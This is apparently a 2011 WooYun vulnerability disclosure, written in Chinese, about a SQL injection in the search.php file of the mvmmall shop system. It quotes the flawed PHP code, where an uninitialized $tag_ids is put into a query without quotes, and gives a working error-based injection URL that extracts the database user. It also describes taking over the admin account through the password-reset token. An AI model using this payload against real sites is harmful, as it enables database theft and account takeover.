漏洞概要 关注数(2) 关注此漏洞
缺陷编号: WooYun-2011-01732
漏洞标题: mvmmall网店商城系统注入漏洞
相关厂商: php多用户商城系统
漏洞作者: 龍
提交时间: 2011-03-27 20:23
公开时间: 2011-03-27 23:46
漏洞类型: SQL注射漏洞
危害等级: 中
自评Rank: 5
漏洞状态: 未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: php源码审核 php源码分析 变量未初始化
漏洞详情
披露状态:
2011-03-27: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-03-27: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
mvmmall网店商城系统最新注入0day问题出在搜索search.php这个文件上。
详细说明:
代码如下:
require_once ‘include/common.inc.php’;
require_once ROOTPATH.’header.php’;
if($action!=’search’){
$search_key = ”;
if (isset($ps_search))
{ //省略一堆东西
$tag_ids = array(); //在if里
//继续省略
while ($row = $db->fetch_array($result)) {
$tag_ids[] = $row['goods_id'];
} //也是在if里
}
//省略一堆东西
} //结束if里的东西
//商品标签搜索
$tag_ids = array_unique($tag_ids); //没有ps_search他就没初始化!可自行输入
$tag_search = implode(‘,’,dhtmlchars($tag_ids)); //dhtmlchars过滤HTML标签不用理会
$tag_search && $tag_search = “OR uid IN($tag_search)”; //呼…..成功了!
//省略无关东西
$search_sql = “WHERE upv = ’1′ AND up_date<=’$m_now_time’”.” AND (( 1 ” . $cat_search . $search_key . $brand_search . $min_search . $max_search .” ) “.$tag_search.” )”;//没有单引号的….
$total_count = $db->counter($mvm_goods_table,$search_sql);
用ADMIN的用户和MALL后用找回密码功能 mvm_lostpass存放验证串直接改密码了。
漏洞证明:
http://URL/search.php?tag_ids[goods_id]=uid))%20and(select%201%20from(select%20count(*),concat((select%20(select%20user())%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1%23
修复方案:
版权声明:转载请注明来源 龍@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝
漏洞Rank:7 (WooYun评价)
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值